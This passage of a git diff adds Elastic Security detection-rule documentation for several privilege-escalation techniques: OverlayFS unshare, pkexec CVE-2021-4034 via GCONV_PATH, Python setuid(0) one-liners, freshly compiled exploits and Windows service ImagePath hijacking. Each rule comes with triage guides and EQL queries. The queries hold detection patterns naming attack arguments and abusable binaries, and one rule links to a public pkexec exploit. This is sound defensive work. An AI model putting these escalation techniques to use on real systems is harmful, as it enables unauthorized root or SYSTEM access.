on accounts with root access. +- Apply the latest security patches and updates to the affected system, specifically addressing CVE-2023-2640 and CVE-2023-32629, to mitigate the vulnerability in OverlayFS. +- Monitor for any further attempts to exploit the vulnerability by setting up alerts for similar sequences of commands and UID changes. +- Escalate the incident to the security operations team for a detailed forensic analysis to understand the scope and impact of the exploitation attempt. +- Implement additional security measures, such as enhanced logging and monitoring, to detect and respond to privilege escalation attempts more effectively in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.parent.entity_id, host.id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "unshare" and process.args : ("-r", "-rm", "m") and process.args : "*cap_setuid*" and user.id != "0"] + [process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and + user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-pkexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-pkexec.asciidoc new file mode 100644 index 0000000000..d4e957b2b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-pkexec.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-pkexec]] +=== Potential Privilege Escalation via PKEXEC + +Identifies an attempt to exploit a local privilege escalation in polkit pkexec (CVE-2021-4034) via unsecure environment variable injection. Successful exploitation allows an unprivileged user to escalate to the root user. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://seclists.org/oss-sec/2022/q1/80 +* https://haxx.in/files/blasty-vs-pkexec.c + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via PKEXEC* + + +Polkit's pkexec is a command-line utility that allows an authorized user to execute commands as another user, typically root, in Linux environments. Adversaries exploit vulnerabilities like CVE-2021-4034 by injecting unsecure environment variables, enabling unauthorized privilege escalation. The detection rule identifies suspicious file paths indicative of such exploitation attempts, focusing on environment variable manipulation to preemptively flag potential threats. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the file path pattern "/*GCONV_PATH*" on a Linux host, as this is indicative of the potential exploitation attempt. +- Examine the process execution history on the affected host to identify any instances of pkexec being executed around the time of the alert. Look for unusual or unauthorized command executions. +- Check the environment variables set during the pkexec execution to identify any suspicious or unauthorized modifications that could indicate an exploitation attempt. +- Investigate the user account associated with the alert to determine if it has a history of privilege escalation attempts or other suspicious activities. +- Analyze system logs and security events for any additional indicators of compromise or related suspicious activities that occurred before or after the alert. +- Assess the patch status of the affected system to determine if it is vulnerable to CVE-2021-4034 and ensure that appropriate security updates have been applied. + + +*False positive analysis* + + +- Routine administrative tasks involving pkexec may trigger alerts if they involve environment variable manipulation. Review the context of the command execution to determine if it aligns with expected administrative behavior. +- Custom scripts or applications that legitimately use environment variables in their execution paths might be flagged. Identify these scripts and consider adding them to an exception list if they are verified as non-threatening. +- Automated system management tools that modify environment variables for legitimate purposes could cause false positives. Monitor these tools and exclude their known safe operations from the detection rule. +- Development environments where developers frequently test applications with varying environment variables might generate alerts. Establish a baseline of normal activity and exclude these patterns if they are consistent and verified as safe. +- Scheduled tasks or cron jobs that involve environment variable changes should be reviewed. If they are part of regular system maintenance, document and exclude them from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the attacker. +- Terminate any suspicious processes associated with pkexec or unauthorized privilege escalation attempts to halt ongoing exploitation. +- Conduct a thorough review of system logs and file access records to identify any unauthorized changes or access patterns, focusing on the presence of GCONV_PATH in file paths. +- Revert any unauthorized changes made by the attacker, such as modifications to critical system files or configurations, to restore system integrity. +- Apply the latest security patches and updates to the polkit package to address CVE-2021-4034 and prevent future exploitation. +- Implement enhanced monitoring and alerting for similar privilege escalation attempts, ensuring that any future attempts are detected and responded to promptly. +- Report the incident to relevant internal security teams and, if necessary, escalate to external authorities or cybersecurity partners for further investigation and support. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and file.path : "/*GCONV_PATH*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-python-cap-setuid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-python-cap-setuid.asciidoc new file mode 100644 index 0000000000..6e41d85631 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-python-cap-setuid.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-python-cap-setuid]] +=== Potential Privilege Escalation via Python cap_setuid + +This detection rule monitors for the execution of a system command with setuid or setgid capabilities via Python, followed by a uid or gid change to the root user. This sequence of events may indicate successful privilege escalation. Setuid (Set User ID) and setgid (Set Group ID) are Unix-like OS features that enable processes to run with elevated privileges, based on the file owner or group. Threat actors can exploit these attributes to escalate privileges to the privileges that are set on the binary that is being executed. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Python cap_setuid* + + +In Unix-like systems, setuid and setgid allow processes to execute with elevated privileges, often exploited by adversaries to gain unauthorized root access. Attackers may use Python scripts to invoke system commands with these capabilities, followed by changing user or group IDs to root. The detection rule identifies this sequence by monitoring Python processes executing system commands with setuid/setgid, followed by a root user or group ID change, signaling potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details, including process.entity_id and process.args, to confirm the execution of a Python script with setuid or setgid capabilities. +- Check the user.id and group.id fields to verify if there was an unauthorized change to root (user.id == "0" or group.id == "0"). +- Investigate the host.id to determine if other suspicious activities or alerts have been associated with the same host. +- Examine the timeline of events to see if the uid_change or gid_change occurred immediately after the Python process execution, indicating a potential privilege escalation attempt. +- Look into the source of the Python script or command executed to identify if it was a known or unknown script, and assess its legitimacy. +- Analyze any related network activity or connections from the host around the time of the alert to identify potential lateral movement or data exfiltration attempts. + + +*False positive analysis* + + +- Development and testing environments may trigger this rule when developers use Python scripts to test setuid or setgid functionalities. To manage this, exclude specific user accounts or host IDs associated with development activities. +- Automated scripts or maintenance tasks that require temporary privilege escalation might be flagged. Identify and whitelist these scripts by their process names or paths to prevent false positives. +- System administrators using Python scripts for legitimate administrative tasks could inadvertently trigger the rule. Consider excluding known administrator accounts or specific scripts used for routine maintenance. +- Security tools or monitoring solutions that simulate attacks for testing purposes may cause alerts. Exclude these tools by their process signatures or host IDs to avoid unnecessary alerts. +- Custom applications that use Python for legitimate privilege management should be reviewed and, if safe, added to an exception list based on their unique process identifiers or execution paths. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious Python processes identified by the detection rule to halt potential privilege escalation activities. +- Review and revoke any unauthorized setuid or setgid permissions on binaries or scripts to prevent exploitation. +- Conduct a thorough investigation of the affected system to identify any additional signs of compromise or persistence mechanisms. +- Reset credentials and review access permissions for any accounts that may have been affected or used in the attack. +- Apply security patches and updates to the operating system and installed software to mitigate known vulnerabilities. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.args : "import os;os.set?id(0);os.system(*)" and process.args : "*python*" and user.id != "0"] + [process where host.os.type == "linux" and event.action in ("uid_change", "gid_change") and event.type == "change" and + (user.id == "0" or group.id == "0")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-recently-compiled-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-recently-compiled-executable.asciidoc new file mode 100644 index 0000000000..942d618b16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-recently-compiled-executable.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-recently-compiled-executable]] +=== Potential Privilege Escalation via Recently Compiled Executable + +This rule monitors a sequence involving a program compilation event followed by its execution and a subsequent alteration of UID permissions to root privileges. This behavior can potentially indicate the execution of a kernel or software privilege escalation exploit. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Recently Compiled Executable* + + +In Linux environments, compiling and executing programs is a routine operation. However, adversaries can exploit this by compiling malicious code to escalate privileges. This detection rule identifies suspicious sequences where a non-root user compiles and executes a program, followed by a UID change to root, indicating potential privilege escalation attempts. By monitoring these patterns, the rule helps in identifying and mitigating exploitation risks. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific non-root user involved in the compilation and execution sequence. Check the user.id field to gather more information about the user's activities and permissions. +- Examine the process.args field from the initial compilation event to understand the source code or script being compiled. This can provide insights into whether the code has malicious intent. +- Investigate the file.name field associated with the creation event to determine the nature of the executable file created. Check its location and any associated metadata for anomalies. +- Analyze the process.name field from the execution event to identify the program that was run. Cross-reference this with known malicious binaries or scripts. +- Check the process.name field in the UID change event to identify the process responsible for the privilege escalation. Determine if this process is known to exploit vulnerabilities for privilege escalation. +- Review system logs and other security tools for any additional suspicious activities or anomalies around the time of the alert to gather more context on the potential threat. +- Assess the system for any signs of compromise or unauthorized changes, such as new user accounts, altered configurations, or unexpected network connections, to evaluate the impact and scope of the incident. + + +*False positive analysis* + + +- Development activities by legitimate users can trigger this rule when compiling and testing new software. To manage this, consider creating exceptions for specific users or groups known to perform regular development tasks. +- Automated build systems or continuous integration pipelines may compile and execute code as part of their normal operation. Exclude these systems by identifying their user accounts or host identifiers. +- System administrators performing maintenance or updates might compile and execute programs, leading to false positives. Implement exceptions for these users or specific maintenance windows. +- Educational environments where students frequently compile and execute code for learning purposes can generate alerts. Exclude these activities by setting up exceptions for student user accounts or specific lab environments. +- Security testing and research activities that involve compiling and executing exploit code in a controlled manner can be mistaken for malicious behavior. Exclude these activities by identifying the user accounts or systems involved in such testing. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert, especially those associated with the compiled executable and any processes running with elevated privileges. +- Revert any unauthorized changes to user permissions, particularly any UID changes to root, to restore the system to its secure state. +- Conduct a thorough review of the affected system for additional indicators of compromise, such as unauthorized file modifications or new user accounts, and remove any malicious artifacts. +- Apply relevant security patches and updates to the system to address any vulnerabilities that may have been exploited for privilege escalation. +- Monitor the affected system and network for any signs of recurring or related suspicious activity, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected, ensuring comprehensive remediation across the environment. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name in ("gcc", "g++", "cc") and user.id != "0"] by process.args + [file where host.os.type == "linux" and event.action == "creation" and event.type == "creation" and + process.name == "ld" and user.id != "0"] by file.name + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + user.id != "0"] by process.name + [process where host.os.type == "linux" and event.action in ("uid_change", "guid_change") and event.type == "change" and + user.id == "0"] by process.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-service-imagepath-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-service-imagepath-modification.asciidoc new file mode 100644 index 0000000000..375fa2fb1e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-service-imagepath-modification.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-service-imagepath-modification]] +=== Potential Privilege Escalation via Service ImagePath Modification + +Identifies registry modifications to default services that could enable privilege escalation to SYSTEM. Attackers with privileges from groups like Server Operators may change the ImagePath of services to executables under their control or to execute commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cube0x0.github.io/Pocing-Beyond-DA/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Elastic Endgame + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Service ImagePath Modification* + + +Windows services are crucial for system operations, often running with high privileges. Adversaries exploit this by altering the ImagePath registry key of services to execute malicious code with elevated privileges. The detection rule identifies suspicious modifications to service ImagePaths, focusing on changes that deviate from standard executable paths, thus flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the specific registry key and value that triggered the alert to confirm it matches one of the monitored service keys, such as those listed in the query (e.g., *\LanmanServer, *\Winmgmt). +- Examine the modified ImagePath value to determine if it points to a non-standard executable path or a suspicious executable, especially those not located in %systemroot%\system32\. +- Check the process.executable field to identify the process responsible for the registry modification and assess its legitimacy. +- Investigate the user account associated with the modification event to determine if it has elevated privileges, such as membership in the Server Operators group. +- Correlate the event with other logs or alerts to identify any related suspicious activities, such as unexpected service starts or process executions. +- Review recent changes or activities on the host to identify any unauthorized access or configuration changes that could indicate a broader compromise. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify service ImagePaths. Users can create exceptions for known update processes or installation paths to prevent false positives. +- System administrators might intentionally change service configurations for maintenance or troubleshooting. Document and exclude these changes by adding exceptions for specific administrator actions or paths. +- Custom scripts or automation tools that modify service settings as part of their operation can trigger alerts. Identify and whitelist these scripts or tools to avoid unnecessary alerts. +- Some third-party security or management software may alter service ImagePaths as part of their functionality. Verify the legitimacy of such software and exclude their known paths from detection. +- Changes made by trusted IT personnel during system configuration or optimization should be logged and excluded from alerts to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as running from non-standard executable paths, especially those not originating from the system32 directory. +- Restore the modified ImagePath registry key to its original state using a known good configuration or backup. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or persistence mechanisms. +- Review and audit user accounts and group memberships, particularly those with elevated privileges like Server Operators, to ensure no unauthorized changes have been made. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for future modifications to service ImagePath registry keys, focusing on deviations from standard paths to detect similar threats promptly. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and process.executable != null and + registry.data.strings != null and registry.value == "ImagePath" and + registry.key : ( + "*\\ADWS", "*\\AppHostSvc", "*\\AppReadiness", "*\\AudioEndpointBuilder", "*\\AxInstSV", "*\\camsvc", "*\\CertSvc", + "*\\COMSysApp", "*\\CscService", "*\\defragsvc", "*\\DeviceAssociationService", "*\\DeviceInstall", "*\\DevQueryBroker", + "*\\Dfs", "*\\DFSR", "*\\diagnosticshub.standardcollector.service", "*\\DiagTrack", "*\\DmEnrollmentSvc", "*\\DNS", + "*\\dot3svc", "*\\Eaphost", "*\\GraphicsPerfSvc", "*\\hidserv", "*\\HvHost", "*\\IISADMIN", "*\\IKEEXT", + "*\\InstallService", "*\\iphlpsvc", "*\\IsmServ", "*\\LanmanServer", "*\\MSiSCSI", "*\\NcbService", "*\\Netlogon", + "*\\Netman", "*\\NtFrs", "*\\PlugPlay", "*\\Power", "*\\PrintNotify", "*\\ProfSvc", "*\\PushToInstall", "*\\RSoPProv", + "*\\sacsvr", "*\\SENS", "*\\SensorDataService", "*\\SgrmBroker", "*\\ShellHWDetection", "*\\shpamsvc", "*\\StorSvc", + "*\\svsvc", "*\\swprv", "*\\SysMain", "*\\Themes", "*\\TieringEngineService", "*\\TokenBroker", "*\\TrkWks", + "*\\UALSVC", "*\\UserManager", "*\\vm3dservice", "*\\vmicguestinterface", "*\\vmicheartbeat", "*\\vmickvpexchange", + "*\\vmicrdv", "*\\vmicshutdown", "*\\vmicvmsession", "*\\vmicvss", "*\\vmvss", "*\\VSS", "*\\w3logsvc", "*\\W3SVC", + "*\\WalletService", "*\\WAS", "*\\wercplsupport", "*\\WerSvc", "*\\Winmgmt", "*\\wisvc", "*\\wmiApSrv", + "*\\WPDBusEnum", "*\\WSearch" + ) and + not ( + registry.data.strings : ( + "?:\\Windows\\system32\\*.exe", + "%systemroot%\\system32\\*.exe", + "%windir%\\system32\\*.exe", + "%SystemRoot%\\system32\\svchost.exe -k *", + "%windir%\\system32\\svchost.exe -k *" + ) and + not registry.data.strings : ( + "*\\cmd.exe", + "*\\cscript.exe", + "*\\ieexec.exe", + "*\\iexpress.exe", + "*\\installutil.exe", + "*\\Microsoft.Workflow.Compiler.exe", + "*\\msbuild.exe", + "*\\mshta.exe", + "*\\msiexec.exe", + "*\\msxsl.exe", + "*\\net.exe", + "*\\powershell.exe", + "*\\pwsh.exe", + "*\\reg.exe", + "*\\RegAsm.exe", + "*\\RegSvcs.exe", + "*\\regsvr32.exe", + "*\\rundll32.exe", + "*\\vssadmin.exe", + "*\\wbadmin.exe", + "*\\wmic.exe", + "*\\wscript.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: 